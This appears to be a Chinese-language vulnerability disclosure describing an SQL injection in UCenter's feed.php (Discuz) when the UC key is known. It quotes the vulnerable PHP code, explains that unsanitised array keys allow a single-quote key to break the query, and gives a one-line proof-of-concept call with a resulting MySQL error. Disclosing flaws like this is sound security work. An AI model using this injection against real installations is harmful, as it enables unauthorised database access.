知道key的情况下对ucserver进行注射

- AV AC AU C I A
发布： 2025-04-13
修订： 2025-04-13

### 简要描述： 因为帮finger解决问题，无意中看到的漏洞。 怎么拿到key要问finger。 ### 详细说明： 在/uc_server/control/feed.php内有一段代码： ``` function onadd() { $this->load('misc'); $appid = intval($this->input('appid')); $icon = $this->input('icon'); $uid = intval($this->input('uid')); $username = $this->input('username'); $body_data = $_ENV['misc']->array2string($this->input('body_data')); ``` 中的 ``` $body_data = $_ENV['misc']->array2string($this->input('body_data')); ``` 中的array2string实际上的代码如下： ``` function array2string($arr) { $s = $sep = ''; if($arr && is_array($arr)) { foreach($arr as $k => $v) { $s .= $sep.$k.UC_ARRAY_SEP_1.$v; $sep = UC_ARRAY_SEP_2; } } return $s; } ``` Discuz的daddslashes并不处理key，所以： ``` $tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa'))); ``` 这里的调用使用key为单引号便可以触发SQL注射。 ### 漏洞证明： 利用代码 ``` $tmp = call_user_func(UC_API_FUNC, 'feed', 'add',array('body_data'=>array("'"=>'aaa'))); ``` <b>UCenter info:</b> MySQL Query Error<br /><b>SQL:</b>INSERT INTO [Table]feeds SET...

0%

漏洞利用/PoC

暂无可用Exp或PoC

受影响的平台与产品

当前有0条受影响产品信息